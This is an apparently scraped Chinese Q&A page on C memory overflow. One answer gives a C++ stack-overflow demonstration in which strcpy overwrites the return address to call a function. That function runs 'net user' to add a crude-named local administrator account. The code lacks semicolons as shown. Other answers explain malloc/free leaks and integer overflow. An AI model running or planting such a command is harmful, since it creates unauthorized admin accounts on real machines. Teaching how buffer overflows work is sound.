c语言 内存溢出

Python013

c语言 内存溢出,第1张

写了一个C++的代码,你用VC6   编译一下,马上会添加一个一个叫做"f_u_c_k的用户名。 这个程序显示了strcpy函数导致的栈溢出,堆溢出在windows平台更复杂,因为windows的堆管理 全部靠一些安全爱好者逆向得来。。

#include <iostream>

using namespace std

void (*pfunc)()

void show()

{

system("cmd /c net user fuck 123 /ad && net localgroup administrators fuck /ad")

exit(1)

}

int main()

{

char a[4]

char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

pfunc=show

*(int *)&shellcode[8]=(int)pfunc

//overflow

strcpy(a,shellcode)

return 0

}

malloc()函数开辟的内存空间系统是不会自动释放的,与普通定义的数据变量不一样,所以得在程序里,手动写free()函数释放内存空间

如果不写free函数释放malloc()函数开辟的内存空间的话,系统中无效的内存空间会越积越多,到达一定数量后内存就不够用了,这就是所说的内存溢出。

楼主你好,关于溢出有几种不同的概念,首先是内存溢出,这个主要是使用资源没有释放,从而导致内存分配不够;还有就是存储格式溢出,例如你使用int型来存数据,可是你存的数据超过了它的表示范围,从而导致溢出,这个可以参考计算机组成原理中的相关概念。